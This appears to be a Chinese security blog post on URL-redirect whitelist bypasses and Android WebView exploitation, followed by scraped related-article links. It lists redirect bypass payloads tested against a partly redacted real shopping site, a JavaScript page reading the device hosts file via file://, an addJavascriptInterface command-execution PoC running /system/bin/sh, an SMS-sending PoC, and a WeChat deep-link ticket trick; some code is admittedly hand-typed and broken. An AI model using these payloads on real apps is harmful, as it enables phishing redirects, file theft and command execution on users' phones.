学习信息安全技术的过程中,用开阔的眼光看待安全问题会得到不同的结论。

在一次测试中我用Burpsuite搜索了关键词url找到了某处url,测试一下发现waf拦截了指向外域的请求,于是开始尝试绕过。第一个测试的url是:

https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com

打开成功跳转以为会跳转成功,但是baidu.com是在白名单的,所以只能想办法去绕过它,经过几次绕过后发现

https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io可以跳转成功,于是我觉得有必要总结一下url的跳转绕过思路,分享给大家!

@绕过

这个是利用了我们浏览器的特性,现在除了Firefox浏览器大部分都可以完成这样跳转,下面是跳转的内容:

问号绕过

可以使用Referer的比如https://baidu.com,可以https://任意地址/?baidu.com

锚点绕过

利用#会被浏览器解释成HTML中的锚点:http://127.0.0.1/#qq.com

xip.io绕过

http://www.baidu.com.127.0.0.1.xip.io/,这样之后会访问127.0.0.1

How does it work?
xip.io runs a custom DNS server on the public Internet.
When your computer looks up a xip.io domain, the xip.io
DNS server extracts the IP address from the domain and
sends it back in the response.

在公网上运行自定义的DNS服务器,用它的服务器提取IP地址,在响应中将它取回。反斜杠绕过

这次测试中也是使用了这种思路:

https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io

IP绕过

把目标的URL修改成IP地址,这样也有可能绕过waf的拦截。

chrome浏览器特性

http://baidu.com
http://baidu.com
//baidu.com
http:\//baidu.com

这样的都会跳转到百度

1、URL跳转到Webview安全问题

这次的漏洞在手机上测试时发现利用APP url Schema也就是

xxxx://app/webview?url=xxxxxxx

其实这里的任意Webview跳转已经构成漏洞了,但是我想更加深入一下,请看下面的案例。

案例

我们先用file://协议读取一下测试文件试一下:

可以看到成功读取了手机的敏感host文件,但不是只要读取成功就能完成利用的,我们还需要设计到发送并读取。

这边我又测试了一下JavaScript的情况,发现开启,在vps上搭建一下利用代码。

<html>
<head>
<title>test</title>
</head>
<script>
var xmlHttp; //定义XMLHttpRequest对象
function createXmlHttpRequestObject(){
//如果在internet Explorer下运行
if(window.ActiveXObject){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}catch(e){
xmlHttp=false;
}
}else{
//如果在Mozilla或其他的浏览器下运行
try{
xmlHttp=new XMLHttpRequest();
}catch(e){
xmlHttp=false;
}
}
//返回创建的对象或显示错误信息
if(!xmlHttp)
alert("error");
else
return xmlHttp;
}
function ReqHtml(){
createXmlHttpRequestObject();
path='file://'
path1='/system/etc/hosts'
xmlHttp.onreadystatechange=StatHandler; //判断URL调用的状态值并处理
xmlHttp.open("GET",path+path1,false); //调用test.txt
xmlHttp.send(null)
alert(1)
}
function StatHandler(){
if(xmlHttp.readyState==4 && xmlHttp.status==200){
document.getElementById("webpage").innerHTML=xmlHttp.responseText;
alert(xmlHttp.responseText)
}
}
ReqHtml()
StatHandler()
</script>
<body>
<div id="webpage"></div>
</body>
</html>

在app上测试一下发现不成功,之后才得知是因为同源策略导致的,在网上各种找方法绕过后无果,没办法只好放弃。

虽然这个应用绕不过,我们可以mark一点姿势。

Ps:很多代码都是手码的没写过JS,所以可能会有一些错误不要见怪。

<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>

这个是执行命令的poc

<html>
<head>
<title>Test send</title>
<script type="text/javascript">
function execute() {
var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/>
</body>
</html>
<html>
<head>
<title>Test sendsms</title>
<script type="text/javascript">
function execute() {
var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/>
</body>
</html>

2、更换目标

这是我想到了weixin的协议,weixin://看了官方的文档之后我发现了微信支持如下操作:

weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件

经过一番查找后,找到了能够跳转的方法:weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx。

那么这个ticket哪里来呢?

我在t00ls上看到一篇同样关于这个微信协议的分析,百度了一下找到了这个地址:

我们注册并登陆尝试一下跳转:

果然还是收费,因为写文章的时候比较早,他们可能没有上班所以就换个地方找一下:

我们加一下这个客服的qq:

正如我想象的那样:

weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4

手机打开测试一下网页:

成功打开微信并跳转,以上内容大家看懂了吗?

浅谈URL跳转与Webview安全的更多相关文章

  1. URL跳转与webview安全浅谈

    URL跳转与webview安全浅谈 我博客的两篇文章拼接在一起所以可能看起来有些乱 起因 在一次测试中我用burpsuite搜索了关键词url找到了某处url我测试了一下发现waf拦截了指向外域的请求 ...

  2. 浅谈URL重定向

    转载:https://blog.csdn.net/kiyoometal/article/details/90698761 重定向原理 HTTP 协议的重定向响应的状态码为 3xx .浏览器在接收到重定 ...

  3. android端,webview内url跳转到app本地

    这是和一个前端同事沟通. app内嵌入他的web页,要通过web页内的url跳转到app的详细内容. 他的android同事,没有思路. 其实嵌入web页,用的webview控件,只要能找到webvi ...

  4. WebView加载URL跳转到系统浏览器的解决方法

    1.问题 webview加载url跳转到系统浏览器,用户体验非常的差 2.解决方法 重写WebViewClient的shouldOverrideUrlLoading(WebView view, Str ...

  5. 浅谈Hybrid技术的设计与实现第三弹——落地篇

    前言 接上文:(阅读本文前,建议阅读前两篇文章先) 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 根据之前的介绍,大家对前端与Native的交互应该有一些简单的认识了,很多 ...

  6. 浅谈Hybrid技术的设计与实现第二弹

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 接上文:浅谈Hybrid技术的设计与实现(阅读本文前,建议阅读这个先) ...

  7. 浅谈Hybrid技术的设计与实现

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 随着移动浪潮的兴起,各种APP层出不穷,极速的业务扩展提升了团队对开发 ...

  8. (转)浅谈Hybrid技术的设计与实现

    转载地址:https://www.cnblogs.com/yexiaochai/p/4921635.html 前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hyb ...

  9. 【微信小程序项目实践总结】30分钟从陌生到熟悉 web app 、native app、hybrid app比较 30分钟ES6从陌生到熟悉 【原创】浅谈内存泄露 HTML5 五子棋 - JS/Canvas 游戏 meta 详解,html5 meta 标签日常设置 C#中回滚TransactionScope的使用方法和原理

    [微信小程序项目实践总结]30分钟从陌生到熟悉 前言 我们之前对小程序做了基本学习: 1. 微信小程序开发07-列表页面怎么做 2. 微信小程序开发06-一个业务页面的完成 3. 微信小程序开发05- ...

随机推荐

  1. 2T以上的盘怎么分区, 利用parted创建 linuxTB硬盘GPT分区

    parted创建GPT分区(fdisk不支持创建GPT分区,GPT支持大于2TB分区,MBR不支持) 介绍2种分区表: MBR分区表:(MBR含义:主引导记录) 所支持的最大卷:2T (T; tera ...

  2. Terminating app due to uncaught exception 'CALayerInvalid', reason: 'layer <CALayer: 0x7fda42c66e30> is a part of cycle in its layer tree'

    iOS App里面所有的View构成一个组件树,这个树里面如果有了闭环就会出现这个报错,最常见的你不小在某UIViewController里面写了这样的代码: someView.addSubView( ...

  3. iOS9自动布局神器StackView

    http://www.jianshu.com/p/767f72b7d754 这篇文章紧跟上边autolayout的一些小技巧,如果你没有看过,不防先看下<你真的会用autolayout吗?> ...

  4. Java自学编程学习之路资源合集

    Java Web学习 STEP.1---Java基础最重要 工欲善其事,必先利其器.想要学好Java Web,或者说想要开始学Java Web,Java的基础是必不可少. 基本语法(★★★★★) 数组 ...

  5. OCR智能识别身份信息

    本人研究了两款OCR智能识别的API,下面做详解! 第一款是百度云的OCR识别,填写配置信息,每天有五百次免费的识别次数,适合中小型客户流量可以使用.API文档:http://ai.baidu.com ...

  6. c# 语法要点速览

    C# 变量类型 sbyte byte short ushort int uint long ulong float double decimal char bool string switch 默认不 ...

  7. Java CAS 原理分析

    1.简介 CAS 全称是 compare and swap,是一种用于在多线程环境下实现同步功能的机制(可以把 CAS 看做乐观锁).CAS 操作包含三个操作数 -- 内存位置.预期数值和新值.CAS ...

  8. 火狐兼容window.event.returnValue=false;

    火狐中window.event是未定义的,可用e.preventDefault();替代window.event.returnValue=false; 直接上图

  9. hexo+github创建属于自己的博客

    配置环境 安装Node(必须) 作用:用来生成静态页面的 到Node.js官网下载相应平台的最新版本,一路安装即可. 安装Git(必须) 作用:把本地的hexo内容提交到github上去. 安装Xco ...

  10. unity3d学习路线

    自学游戏开发难不难?小编在这里告诉你:你首先要做的是选择一门开发语言,包括Basic,Pascal,C,C++,等等.也经常会有人争论对于初学者哪门语言更好.对于这一系列流行语言的讨论,我的建议是以C ...